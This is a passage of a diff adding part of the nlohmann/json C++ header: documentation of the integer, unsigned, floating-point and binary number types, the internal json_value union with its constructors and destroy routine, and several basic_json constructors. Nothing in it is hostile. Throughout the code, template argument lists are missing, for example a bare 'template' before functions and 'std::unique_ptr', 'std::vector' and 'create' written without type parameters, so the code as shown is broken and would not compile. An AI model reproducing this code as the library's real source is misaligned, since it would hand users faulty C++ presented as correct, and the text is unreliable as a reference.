optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store integer numbers in C++, a type is defined by the template + parameter @a NumberIntegerType which chooses the type to use. + + #### Default type + + With the default values for @a NumberIntegerType (`int64_t`), the default + value for @a number_integer_t is: + + @code {.cpp} + int64_t + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in integer literals lead to an interpretation as octal + number. Internally, the value will be stored as decimal number. For + instance, the C++ integer literal `010` will be serialized to `8`. + During deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the range and precision of numbers. + + When the default type is used, the maximal integer number that can be + stored is `9223372036854775807` (INT64_MAX) and the minimal integer number + that can be stored is `-9223372036854775808` (INT64_MIN). Integer numbers + that are out of range will yield over/underflow when used in a + constructor. During deserialization, too large or small integer numbers + will be automatically be stored as @ref number_unsigned_t or @ref + number_float_t. + + [RFC 7159](http://rfc7159.net/rfc7159) further states: + > Note that when such software is used, numbers that are integers and are + > in the range \f$[-2^{53}+1, 2^{53}-1]\f$ are interoperable in the sense + > that implementations will agree exactly on their numeric values. + + As this range is a subrange of the exactly supported range [INT64_MIN, + INT64_MAX], this class's integer type is interoperable. + + #### Storage + + Integer number values are stored directly inside a @ref basic_json type. + + @sa @ref number_float_t -- type for number values (floating-point) + + @sa @ref number_unsigned_t -- type for number values (unsigned integer) + + @since version 1.0.0 + */ + using number_integer_t = NumberIntegerType; + + /*! + @brief a type for a number (unsigned) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store unsigned integer numbers in C++, a type is defined by the + template parameter @a NumberUnsignedType which chooses the type to use. + + #### Default type + + With the default values for @a NumberUnsignedType (`uint64_t`), the + default value for @a number_unsigned_t is: + + @code {.cpp} + uint64_t + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in integer literals lead to an interpretation as octal + number. Internally, the value will be stored as decimal number. For + instance, the C++ integer literal `010` will be serialized to `8`. + During deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) specifies: + > An implementation may set limits on the range and precision of numbers. + + When the default type is used, the maximal integer number that can be + stored is `18446744073709551615` (UINT64_MAX) and the minimal integer + number that can be stored is `0`. Integer numbers that are out of range + will yield over/underflow when used in a constructor. During + deserialization, too large or small integer numbers will be automatically + be stored as @ref number_integer_t or @ref number_float_t. + + [RFC 7159](http://rfc7159.net/rfc7159) further states: + > Note that when such software is used, numbers that are integers and are + > in the range \f$[-2^{53}+1, 2^{53}-1]\f$ are interoperable in the sense + > that implementations will agree exactly on their numeric values. + + As this range is a subrange (when considered in conjunction with the + number_integer_t type) of the exactly supported range [0, UINT64_MAX], + this class's integer type is interoperable. + + #### Storage + + Integer number values are stored directly inside a @ref basic_json type. + + @sa @ref number_float_t -- type for number values (floating-point) + @sa @ref number_integer_t -- type for number values (integer) + + @since version 2.0.0 + */ + using number_unsigned_t = NumberUnsignedType; + + /*! + @brief a type for a number (floating-point) + + [RFC 7159](http://rfc7159.net/rfc7159) describes numbers as follows: + > The representation of numbers is similar to that used in most + > programming languages. A number is represented in base 10 using decimal + > digits. It contains an integer component that may be prefixed with an + > optional minus sign, which may be followed by a fraction part and/or an + > exponent part. Leading zeros are not allowed. (...) Numeric values that + > cannot be represented in the grammar below (such as Infinity and NaN) + > are not permitted. + + This description includes both integer and floating-point numbers. + However, C++ allows more precise storage if it is known whether the number + is a signed integer, an unsigned integer or a floating-point number. + Therefore, three different types, @ref number_integer_t, @ref + number_unsigned_t and @ref number_float_t are used. + + To store floating-point numbers in C++, a type is defined by the template + parameter @a NumberFloatType which chooses the type to use. + + #### Default type + + With the default values for @a NumberFloatType (`double`), the default + value for @a number_float_t is: + + @code {.cpp} + double + @endcode + + #### Default behavior + + - The restrictions about leading zeros is not enforced in C++. Instead, + leading zeros in floating-point literals will be ignored. Internally, + the value will be stored as decimal number. For instance, the C++ + floating-point literal `01.2` will be serialized to `1.2`. During + deserialization, leading zeros yield an error. + - Not-a-number (NaN) values will be serialized to `null`. + + #### Limits + + [RFC 7159](http://rfc7159.net/rfc7159) states: + > This specification allows implementations to set limits on the range and + > precision of numbers accepted. Since software that implements IEEE + > 754-2008 binary64 (double precision) numbers is generally available and + > widely used, good interoperability can be achieved by implementations + > that expect no more precision or range than these provide, in the sense + > that implementations will approximate JSON numbers within the expected + > precision. + + This implementation does exactly follow this approach, as it uses double + precision floating-point numbers. Note values smaller than + `-1.79769313486232e+308` and values greater than `1.79769313486232e+308` + will be stored as NaN internally and be serialized to `null`. + + #### Storage + + Floating-point number values are stored directly inside a @ref basic_json + type. + + @sa @ref number_integer_t -- type for number values (integer) + + @sa @ref number_unsigned_t -- type for number values (unsigned integer) + + @since version 1.0.0 + */ + using number_float_t = NumberFloatType; + + /*! + @brief a type for a packed binary type + + This type is a type designed to carry binary data that appears in various + serialized formats, such as CBOR's Major Type 2, MessagePack's bin, and + BSON's generic binary subtype. This type is NOT a part of standard JSON and + exists solely for compatibility with these binary types. As such, it is + simply defined as an ordered sequence of zero or more byte values. + + Additionally, as an implementation detail, the subtype of the binary data is + carried around as a `std::uint8_t`, which is compatible with both of the + binary data formats that use binary subtyping, (though the specific + numbering is incompatible with each other, and it is up to the user to + translate between them). + + [CBOR's RFC 7049](https://tools.ietf.org/html/rfc7049) describes this type + as: + > Major type 2: a byte string. The string's length in bytes is represented + > following the rules for positive integers (major type 0). + + [MessagePack's documentation on the bin type + family](https://github.com/msgpack/msgpack/blob/master/spec.md#bin-format-family) + describes this type as: + > Bin format family stores an byte array in 2, 3, or 5 bytes of extra bytes + > in addition to the size of the byte array. + + [BSON's specifications](http://bsonspec.org/spec.html) describe several + binary types; however, this type is intended to represent the generic binary + type which has the description: + > Generic binary subtype - This is the most commonly used binary subtype and + > should be the 'default' for drivers and tools. + + None of these impose any limitations on the internal representation other + than the basic unit of storage be some type of array whose parts are + decomposable into bytes. + + The default representation of this binary format is a + `std::vector`, which is a very common way to represent a byte + array in modern C++. + + #### Default type + + The default values for @a BinaryType is `std::vector` + + #### Storage + + Binary Arrays are stored as pointers in a @ref basic_json type. That is, + for any access to array values, a pointer of the type `binary_t*` must be + dereferenced. + + #### Notes on subtypes + + - CBOR + - Binary values are represented as byte strings. No subtypes are + supported and will be ignored when CBOR is written. + - MessagePack + - If a subtype is given and the binary array contains exactly 1, 2, 4, 8, + or 16 elements, the fixext family (fixext1, fixext2, fixext4, fixext8) + is used. For other sizes, the ext family (ext8, ext16, ext32) is used. + The subtype is then added as singed 8-bit integer. + - If no subtype is given, the bin family (bin8, bin16, bin32) is used. + - BSON + - If a subtype is given, it is used and added as unsigned 8-bit integer. + - If no subtype is given, the generic binary subtype 0x00 is used. + + @sa @ref binary -- create a binary array + + @since version 3.8.0 + */ + using binary_t = nlohmann::byte_container_with_subtype; + /// @} + + private: + + /// helper for exception-safe object creation + template + JSON_HEDLEY_RETURNS_NON_NULL + static T* create(Args&& ... args) + { + AllocatorType alloc; + using AllocatorTraits = std::allocator_traits>; + + auto deleter = [&](T * object) + { + AllocatorTraits::deallocate(alloc, object, 1); + }; + std::unique_ptr object(AllocatorTraits::allocate(alloc, 1), deleter); + AllocatorTraits::construct(alloc, object.get(), std::forward(args)...); + JSON_ASSERT(object != nullptr); + return object.release(); + } + + //////////////////////// + // JSON value storage // + //////////////////////// + + JSON_PRIVATE_UNLESS_TESTED: + /*! + @brief a JSON value + + The actual storage for a JSON value of the @ref basic_json class. This + union combines the different storage types for the JSON value types + defined in @ref value_t. + + JSON type | value_t type | used type + --------- | --------------- | ------------------------ + object | object | pointer to @ref object_t + array | array | pointer to @ref array_t + string | string | pointer to @ref string_t + boolean | boolean | @ref boolean_t + number | number_integer | @ref number_integer_t + number | number_unsigned | @ref number_unsigned_t + number | number_float | @ref number_float_t + binary | binary | pointer to @ref binary_t + null | null | *no value is stored* + + @note Variable-length types (objects, arrays, and strings) are stored as + pointers. The size of the union should not exceed 64 bits if the default + value types are used. + + @since version 1.0.0 + */ + union json_value + { + /// object (stored with pointer to save storage) + object_t* object; + /// array (stored with pointer to save storage) + array_t* array; + /// string (stored with pointer to save storage) + string_t* string; + /// binary (stored with pointer to save storage) + binary_t* binary; + /// boolean + boolean_t boolean; + /// number (integer) + number_integer_t number_integer; + /// number (unsigned integer) + number_unsigned_t number_unsigned; + /// number (floating-point) + number_float_t number_float; + + /// default constructor (for null values) + json_value() = default; + /// constructor for booleans + json_value(boolean_t v) noexcept : boolean(v) {} + /// constructor for numbers (integer) + json_value(number_integer_t v) noexcept : number_integer(v) {} + /// constructor for numbers (unsigned) + json_value(number_unsigned_t v) noexcept : number_unsigned(v) {} + /// constructor for numbers (floating-point) + json_value(number_float_t v) noexcept : number_float(v) {} + /// constructor for empty values of a given type + json_value(value_t t) + { + switch (t) + { + case value_t::object: + { + object = create(); + break; + } + + case value_t::array: + { + array = create(); + break; + } + + case value_t::string: + { + string = create(""); + break; + } + + case value_t::binary: + { + binary = create(); + break; + } + + case value_t::boolean: + { + boolean = boolean_t(false); + break; + } + + case value_t::number_integer: + { + number_integer = number_integer_t(0); + break; + } + + case value_t::number_unsigned: + { + number_unsigned = number_unsigned_t(0); + break; + } + + case value_t::number_float: + { + number_float = number_float_t(0.0); + break; + } + + case value_t::null: + { + object = nullptr; // silence warning, see #821 + break; + } + + default: + { + object = nullptr; // silence warning, see #821 + if (JSON_HEDLEY_UNLIKELY(t == value_t::null)) + { + JSON_THROW(other_error::create(500, "961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1")); // LCOV_EXCL_LINE + } + break; + } + } + } + + /// constructor for strings + json_value(const string_t& value) + { + string = create(value); + } + + /// constructor for rvalue strings + json_value(string_t&& value) + { + string = create(std::move(value)); + } + + /// constructor for objects + json_value(const object_t& value) + { + object = create(value); + } + + /// constructor for rvalue objects + json_value(object_t&& value) + { + object = create(std::move(value)); + } + + /// constructor for arrays + json_value(const array_t& value) + { + array = create(value); + } + + /// constructor for rvalue arrays + json_value(array_t&& value) + { + array = create(std::move(value)); + } + + /// constructor for binary arrays + json_value(const typename binary_t::container_type& value) + { + binary = create(value); + } + + /// constructor for rvalue binary arrays + json_value(typename binary_t::container_type&& value) + { + binary = create(std::move(value)); + } + + /// constructor for binary arrays (internal type) + json_value(const binary_t& value) + { + binary = create(value); + } + + /// constructor for rvalue binary arrays (internal type) + json_value(binary_t&& value) + { + binary = create(std::move(value)); + } + + void destroy(value_t t) noexcept + { + // flatten the current json_value to a heap-allocated stack + std::vector stack; + + // move the top-level items to stack + if (t == value_t::array) + { + stack.reserve(array->size()); + std::move(array->begin(), array->end(), std::back_inserter(stack)); + } + else if (t == value_t::object) + { + stack.reserve(object->size()); + for (auto&& it : *object) + { + stack.push_back(std::move(it.second)); + } + } + + while (!stack.empty()) + { + // move the last item to local variable to be processed + basic_json current_item(std::move(stack.back())); + stack.pop_back(); + + // if current_item is array/object, move + // its children to the stack to be processed later + if (current_item.is_array()) + { + std::move(current_item.m_value.array->begin(), current_item.m_value.array->end(), + std::back_inserter(stack)); + + current_item.m_value.array->clear(); + } + else if (current_item.is_object()) + { + for (auto&& it : *current_item.m_value.object) + { + stack.push_back(std::move(it.second)); + } + + current_item.m_value.object->clear(); + } + + // it's now safe that current_item get destructed + // since it doesn't have any children + } + + switch (t) + { + case value_t::object: + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, object); + std::allocator_traits::deallocate(alloc, object, 1); + break; + } + + case value_t::array: + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, array); + std::allocator_traits::deallocate(alloc, array, 1); + break; + } + + case value_t::string: + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, string); + std::allocator_traits::deallocate(alloc, string, 1); + break; + } + + case value_t::binary: + { + AllocatorType alloc; + std::allocator_traits::destroy(alloc, binary); + std::allocator_traits::deallocate(alloc, binary, 1); + break; + } + + default: + { + break; + } + } + } + }; + + private: + /*! + @brief checks the class invariants + + This function asserts the class invariants. It needs to be called at the + end of every constructor to make sure that created objects respect the + invariant. Furthermore, it has to be called each time the type of a JSON + value is changed, because the invariant expresses a relationship between + @a m_type and @a m_value. + */ + void assert_invariant() const noexcept + { + JSON_ASSERT(m_type != value_t::object || m_value.object != nullptr); + JSON_ASSERT(m_type != value_t::array || m_value.array != nullptr); + JSON_ASSERT(m_type != value_t::string || m_value.string != nullptr); + JSON_ASSERT(m_type != value_t::binary || m_value.binary != nullptr); + } + + public: + ////////////////////////// + // JSON parser callback // + ////////////////////////// + + /*! + @brief parser event types + + The parser callback distinguishes the following events: + - `object_start`: the parser read `{` and started to process a JSON object + - `key`: the parser read a key of a value in an object + - `object_end`: the parser read `}` and finished processing a JSON object + - `array_start`: the parser read `[` and started to process a JSON array + - `array_end`: the parser read `]` and finished processing a JSON array + - `value`: the parser finished reading a JSON value + + @image html callback_events.png "Example when certain parse events are triggered" + + @sa @ref parser_callback_t for more information and examples + */ + using parse_event_t = detail::parse_event_t; + + /*! + @brief per-element parser callback type + + With a parser callback function, the result of parsing a JSON text can be + influenced. When passed to @ref parse, it is called on certain events + (passed as @ref parse_event_t via parameter @a event) with a set recursion + depth @a depth and context JSON value @a parsed. The return value of the + callback function is a boolean indicating whether the element that emitted + the callback shall be kept or not. + + We distinguish six scenarios (determined by the event type) in which the + callback function can be called. The following table describes the values + of the parameters @a depth, @a event, and @a parsed. + + parameter @a event | description | parameter @a depth | parameter @a parsed + ------------------ | ----------- | ------------------ | ------------------- + parse_event_t::object_start | the parser read `{` and started to process a JSON object | depth of the parent of the JSON object | a JSON value with type discarded + parse_event_t::key | the parser read a key of a value in an object | depth of the currently parsed JSON object | a JSON string containing the key + parse_event_t::object_end | the parser read `}` and finished processing a JSON object | depth of the parent of the JSON object | the parsed JSON object + parse_event_t::array_start | the parser read `[` and started to process a JSON array | depth of the parent of the JSON array | a JSON value with type discarded + parse_event_t::array_end | the parser read `]` and finished processing a JSON array | depth of the parent of the JSON array | the parsed JSON array + parse_event_t::value | the parser finished reading a JSON value | depth of the value | the parsed JSON value + + @image html callback_events.png "Example when certain parse events are triggered" + + Discarding a value (i.e., returning `false`) has different effects + depending on the context in which function was called: + + - Discarded values in structured types are skipped. That is, the parser + will behave as if the discarded value was never read. + - In case a value outside a structured type is skipped, it is replaced + with `null`. This case happens if the top-level element is skipped. + + @param[in] depth the depth of the recursion during parsing + + @param[in] event an event of type parse_event_t indicating the context in + the callback function has been called + + @param[in,out] parsed the current intermediate parse result; note that + writing to this value has no effect for parse_event_t::key events + + @return Whether the JSON value which called the function during parsing + should be kept (`true`) or not (`false`). In the latter case, it is either + skipped completely or replaced by an empty discarded object. + + @sa @ref parse for examples + + @since version 1.0.0 + */ + using parser_callback_t = detail::parser_callback_t; + + ////////////////// + // constructors // + ////////////////// + + /// @name constructors and destructors + /// Constructors of class @ref basic_json, copy/move constructor, copy + /// assignment, static functions creating objects, and the destructor. + /// @{ + + /*! + @brief create an empty value with a given type + + Create an empty JSON value with a given type. The value will be default + initialized with an empty value which depends on the type: + + Value type | initial value + ----------- | ------------- + null | `null` + boolean | `false` + string | `""` + number | `0` + object | `{}` + array | `[]` + binary | empty array + + @param[in] v the type of the value to create + + @complexity Constant. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The following code shows the constructor for different @ref + value_t values,basic_json__value_t} + + @sa @ref clear() -- restores the postcondition of this constructor + + @since version 1.0.0 + */ + basic_json(const value_t v) + : m_type(v), m_value(v) + { + assert_invariant(); + } + + /*! + @brief create a null object + + Create a `null` JSON value. It either takes a null pointer as parameter + (explicitly creating `null`) or no parameter (implicitly creating `null`). + The passed null pointer itself is not read -- it is only used to choose + the right constructor. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this constructor never throws + exceptions. + + @liveexample{The following code shows the constructor with and without a + null pointer parameter.,basic_json__nullptr_t} + + @since version 1.0.0 + */ + basic_json(std::nullptr_t = nullptr) noexcept + : basic_json(value_t::null) + { + assert_invariant(); + } + + /*! + @brief create a JSON value + + This is a "catch all" constructor for all compatible JSON types; that is, + types for which a `to_json()` method exists. The constructor forwards the + parameter @a val to that method (to `json_serializer::to_json` method + with `U = uncvref_t`, to be exact). + + Template type @a CompatibleType includes, but is not limited to, the + following types: + - **arrays**: @ref array_t and all kinds of compatible containers such as + `std::vector`, `std::deque`, `std::list`, `std::forward_list`, + `std::array`, `std::valarray`, `std::set`, `std::unordered_set`, + `std::multiset`, and `std::unordered_multiset` with a `value_type` from + which a @ref basic_json value can be constructed. + - **objects**: @ref object_t and all kinds of compatible associative + containers such as `std::map`, `std::unordered_map`, `std::multimap`, + and `std::unordered_multimap` with a `key_type` compatible to + @ref string_t and a `value_type` from which a @ref basic_json value can + be constructed. + - **strings**: @ref string_t, string literals, and all compatible string + containers can be used. + - **numbers**: @ref number_integer_t, @ref number_unsigned_t, + @ref number_float_t, and all convertible number types such as `int`, + `size_t`, `int64_t`, `float` or `double` can be used. + - **boolean**: @ref boolean_t / `bool` can be used. + - **binary**: @ref binary_t / `std::vector` may be used, + unfortunately because string literals cannot be distinguished from binary + character arrays by the C++ type system, all types compatible with `const + char*` will be directed to the string constructor instead. This is both + for backwards compatibility, and due to the fact that a binary type is not + a standard JSON type. + + See the examples below. + + @tparam CompatibleType a type such that: + - @a CompatibleType is not derived from `std::istream`, + - @a CompatibleType is not @ref basic_json (to avoid hijacking copy/move + constructors), + - @a CompatibleType is not a different @ref basic_json type (i.e. with different template arguments) + - @a CompatibleType is not a @ref basic_json nested type (e.g., + @ref json_pointer, @ref iterator, etc ...) + - @ref @ref json_serializer has a + `to_json(basic_json_t&, CompatibleType&&)` method + + @tparam U = `uncvref_t` + + @param[in] val the value to be forwarded to the respective constructor + + @complexity Usually linear in the size of the passed @a val, also + depending on the implementation of the called `to_json()` + method. + + @exceptionsafety Depends on the called constructor. For types directly + supported by the library (i.e., all types for which no `to_json()` function + was provided), strong guarantee holds: if an exception is thrown, there are + no changes to any JSON value. + + @liveexample{The following code shows the constructor with several + compatible types.,basic_json__CompatibleType} + + @since version 2.1.0 + */ + template < typename CompatibleType, + typename U = detail::uncvref_t, + detail::enable_if_t < + !detail::is_basic_json::value && detail::is_compatible_type::value, int > = 0 > + basic_json(CompatibleType && val) noexcept(noexcept( + JSONSerializer::to_json(std::declval(), + std::forward(val)))) + { + JSONSerializer::to_json(*this, std::forward(val)); + assert_invariant(); + } + + /*! + @brief create a JSON value from an existing one + + This is a constructor for existing @ref basic_json types. + It does not hijack copy/move constructors, since the parameter has different + template arguments than the current ones. + + The constructor tries to convert the internal @ref m_value of the parameter. + + @tparam BasicJsonType a type such that: + - @a BasicJsonType is a @ref basic_json type. + - @a BasicJsonType has different template arguments than @ref basic_json_t. + + @param[in] val the @ref basic_json value to be converted. + + @complexity Usually linear in the size of the passed @a val, also + depending on the implementation of the called `to_json()` + method. + + @exceptionsafety Depends on the called constructor. For types directly + supported by the library (i.e., all types for which no `to_json()` function + was provided), strong guarantee holds: if an exception is thrown, there are + no changes to any JSON value. + + @since version 3.2.0 + */ + template < typename BasicJsonType, + detail::enable_if_t < + detail::is_basic_json::value&& !std::is_same::value, int > = 0 > + basic_json(const BasicJsonType& val) + { + using other_boolean_t = typename BasicJsonType::boolean_t; + using other_number_float_t = typename BasicJsonType::number_float_t; + using other_number_integer_t = typename BasicJsonType::number_integer_t; + using other_number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using other_string_t = typename BasicJsonType::string_t; + using other_object_t = typename BasicJsonType::object_t; + using other_array_t = typename BasicJsonType::array_t; + using other_binary_t = typename BasicJsonType::binary_t; + + switch (val.type()) + { + case value_t::boolean: + JSONSerializer::to_json(*this, val.template get()); + break; + case value_t::number_float: + JSONSerializer::to_json(*this, val.template get()); + break; + case value_t::number_integer: + JSONSerializer::to_json(*this, val.template get()); + break; + case value_t::number_unsigned: + JSONSerializer::to_json(*this, val.template get()); + break; + case value_t::string: + JSONSerializer::to_json(*this, val.template get_ref()); + break; + case value_t::object: + JSONSerializer::to_json(*this, val.template get_ref()); + break; + case value_t::array: + JSONSerializer::to_json(*this, val.template get_ref()); + break; + case value_t::binary: + JSONSerializer::to_json(*this, val.template get_ref()); + break; + case value_t::null: + *this = nullptr; + break; + case value_t::discarded: + m_type = value_t::discarded; + break; + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + assert_invariant(); + } + + /*! + @brief create a container (array or object) from an initializer list + + Creates a JSON value of type array or object from the passed initializer + list @a init. In case @a type_deduction is `true` (default), the type of + the JSON value to be created is deducted from the initializer list @a init + according to the following rules: + + 1. If the list is empty, an empty JSON object value `{}` is created. + 2. If the list consists of pairs whose first element is a string, a JSON + object value is created where the first elements of the pairs are + treated as keys and the second elements are as values. + 3. In all other cases, an array is created. + + The rules aim to create the best fit between a C++ initializer list and + JSON values. The rationale is as follows: + + 1. The empty initializer list is written as `{}` which is exactly an empty + JSON object. + 2. C++ has no way of describing mapped types other than to list a list of + pairs. As JSON requires that keys must be of type string, rule 2 is the + weakest constraint one can pose on initializer lists to interpret them + as an object. + 3. In all other cases, the initializer list could not be interpreted as + JSON object type, so interpreting it as JSON array type is safe. + + With the rules described above, the following JSON values cannot be + expressed by an initializer list: + + - the empty array (`[]`): use @ref array(initializer_list_t) + with an empty initializer list in this case + - arrays whose elements satisfy rule 2: use @ref + array(initializer_list_t) with the same initializer list + in this case + + @note When used without parentheses around an empty initializer list, @ref + basic_json() is called instead of this function, yielding the JSON null + value. + + @param[in] init initializer list with JSON values + + @param[in] type_deduction internal parameter; when set to `true`, the type + of the JSON value is deducted from the initializer list @a init; when set + to `false`, the type provided via @a manual_type is forced. This mode is + used by the functions @ref array(initializer_list_t) and + @ref object(initializer_list_t). + + @param[in] manual_type internal parameter; when @a type_deduction is set + to `false`, the created JSON value will use the provided type (only @ref + value_t::array and @ref value_t::object are valid); when @a type_deduction + is set to `true`, this parameter has no effect + + @throw type_error.301 if @a type_deduction is `false`, @a manual_type is + `value_t::object`, but @a init contains an element which is not a pair + whose first element is a string. In this case, the constructor could not + create an object. If @a type_deduction would have be `true`, an array + would have been created. See @ref object(initializer_list_t) + for an example. + + @complexity Linear in the size of the initializer list @a init. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The example below shows how JSON values are created from + initializer lists.,basic_json__list_init_t} + + @sa @ref array(initializer_list_t) -- create a JSON array + value from an initializer list + @sa @ref object(initializer_list_t) -- create a JSON object + value from an initializer list + + @since version 1.0.0 + */ + basic_json(initializer_list_t init, + bool type_deduction = true, + value_t manual_type = value_t::array) + { + // check if each element is an array with two elements whose first + // element is a string + bool is_an_object = std::all_of(init.begin(), init.end(), + [](const detail::json_ref& element_ref) + { + return element_ref->is_array() && element_ref->size() == 2 && (*element_ref)[0].is_string(); + }); + + // adjust type if type deduction is not wanted + if (!type_deduction) + { + // if array is wanted, do not create an object though possible + if (manual_type == value_t::array) + { + is_an_object = false; + } + + // if object is wanted but impossible, throw an exception + if (JSON_HEDLEY_UNLIKELY(manual_type == value_t::object && !is_an_object)) + { + JSON_THROW(type_error::create(301, "cannot create object from initializer list")); + } + } + + if (is_an_object) + { + // the initializer list is a list of pairs -> create object + m_type = value_t::object; + m_value = value_t::object; + + std::for_each(init.begin(), init.end(), [this](const detail::json_ref& element_ref) + { + auto element = element_ref.moved_or_copied(); + m_value.object->emplace( + std::move(*((*element.m_value.array)[0].m_value.string)), + std::move((*element.m_value.array)[1])); + }); + } + else + { + // the initializer list describes an array -> create array + m_type = value_t::array; + m_value.array = create(init.begin(), init.end()); + } + + assert_invariant(); + } + + /*! + @brief explicitly create a binary array (without subtype) + + Creates a JSON binary array value from a given binary container. Binary + values are part of various binary formats, such as CBOR, MessagePack, and + BSON. This constructor is used to create a value for serialization to those + formats. + + @note Note, this function exists because of the difficulty in correctly + specifying the correct template overload in the standard value ctor, as both + JSON arrays and JSON binary arrays are backed with some form of a + `std::vector`. Because JSON binary arrays are a non-standard extension it + was decided that it would be best to prevent automatic initialization of a + binary array type, for backwards compatibility and so it does not happen on + accident. + + @param[in] init container containing bytes to use as binary type + + @return JSON binary array value + + @complexity Linear in the size of @a init. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @since version 3.8.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json binary(const typename binary_t::container_type& init) + { + auto res = basic_json(); + res.m_type = value_t::binary; + res.m_value = init; + return res; + } + + /*! + @brief explicitly create a binary array (with subtype) + + Creates a JSON binary array value from a given binary container. Binary + values are part of various binary formats, such as CBOR, MessagePack, and + BSON. This constructor is used to create a value for serialization to those + formats. + + @note Note, this function exists because of the difficulty in correctly + specifying the correct template overload in the standard value ctor, as both + JSON arrays and JSON binary arrays are backed with some form of a + `std::vector`. Because JSON binary arrays are a non-standard extension it + was decided that it would be best to prevent automatic initialization of a + binary array type, for backwards compatibility and so it does not happen on + accident. + + @param[in] init container containing bytes to use as binary type + @param[in] subtype subtype to use in MessagePack and BSON + + @return JSON binary array value + + @complexity Linear in the size of @a init. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @since version 3.8.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json binary(const typename binary_t::container_type& init, std::uint8_t subtype) + { + auto res = basic_json(); + res.m_type = value_t::binary; + res.m_value = binary_t(init, subtype); + return res; + } + + /// @copydoc binary(const typename binary_t::container_type&) + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json binary(typename binary_t::container_type&& init) + { + auto res = basic_json(); + res.m_type = value_t::binary; + res.m_value = std::move(init); + return res; + } + + /// @copydoc binary(const typename binary_t::container_type&, std::uint8_t) + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json binary(typename binary_t::container_type&& init, std::uint8_t subtype) + { + auto res = basic_json(); + res.m_type = value_t::binary; + res.m_value = binary_t(std::move(init), subtype); + return res; + } + + /*! + @brief explicitly create an array from an initializer list + + Creates a JSON array value from a given initializer list. That is, given a + list of values `a, b, c`, creates the JSON value `[a, b, c]`. If the + initializer list is empty, the empty array `[]` is created. + + @note This function is only needed to express two edge cases that cannot + be realized with the initializer list constructor (@ref + basic_json(initializer_list_t, bool, value_t)). These cases + are: + 1. creating an array whose elements are all pairs whose first element is a + string -- in this case, the initializer list constructor would create an + object, taking the first elements as keys + 2. creating an empty array -- passing the empty initializer list to the + initializer list constructor yields an empty object + + @param[in] init initializer list with JSON values to create an array from + (optional) + + @return JSON array value + + @complexity Linear in the size of @a init. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The following code shows an example for the `array` + function.,array} + + @sa @ref basic_json(initializer_list_t, bool, value_t) -- + create a JSON value from an initializer list + @sa @ref object(initializer_list_t) -- create a JSON object + value from an initializer list + + @since version 1.0.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json array(initializer_list_t init = {}) + { + return basic_json(init, false, value_t::array); + } + + /*! + @brief explicitly create an object from an initializer list + + Creates a JSON object value from a given initializer list. The initializer + lists elements must be pairs, and their first elements must be strings. If + the initializer list is empty, the empty object `{}` is created. + + @note This function is only added for symmetry reasons. In contrast to the + related function @ref array(initializer_list_t), there are + no cases which can only be expressed by this function. That is, any + initializer list @a init can also be passed to the initializer list + constructor @ref basic_json(initializer_list_t, bool, value_t). + + @param[in] init initializer list to create an object from (optional) + + @return JSON object value + + @throw type_error.301 if @a init is not a list of pairs whose first + elements are strings. In this case, no object can be created. When such a + value is passed to @ref basic_json(initializer_list_t, bool, value_t), + an array would have been created from the passed initializer list @a init. + See example below. + + @complexity Linear in the size of @a init. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The following code shows an example for the `object` + function.,object} + + @sa @ref basic_json(initializer_list_t, bool, value_t) -- + create a JSON value from an initializer list + @sa @ref array(initializer_list_t) -- create a JSON array + value from an initializer list + + @since version 1.0.0 + */ + JSON_HEDLEY_WARN_UNUSED_RESULT + static basic_json object(initializer_list_t init = {}) + { + return basic_json(init, false, value_t::object); + } + + /*! + @brief construct an array with count copies of given value + + Constructs a JSON array value by creating @a cnt copies of a passed value. + In case @a cnt is `0`, an empty array is created. + + @param[in] cnt the number of JSON copies of @a val to create + @param[in] val the JSON value to copy + + @post `std::distance(begin(),end()) == cnt` holds. + + @complexity Linear in @a cnt. + + @exceptionsafety Strong guarantee: if an exception is thrown, there are no + changes to any JSON value. + + @liveexample{The following code shows examples for the @ref + basic_json(size_type\, const basic_json&) + constructor.,basic_json__size_type_basic_json} + + @since version 1.0.0 + */ + basic_json(size_type cnt, const basic_json& val) + : m_type(value_t::array) + { + m_value.array 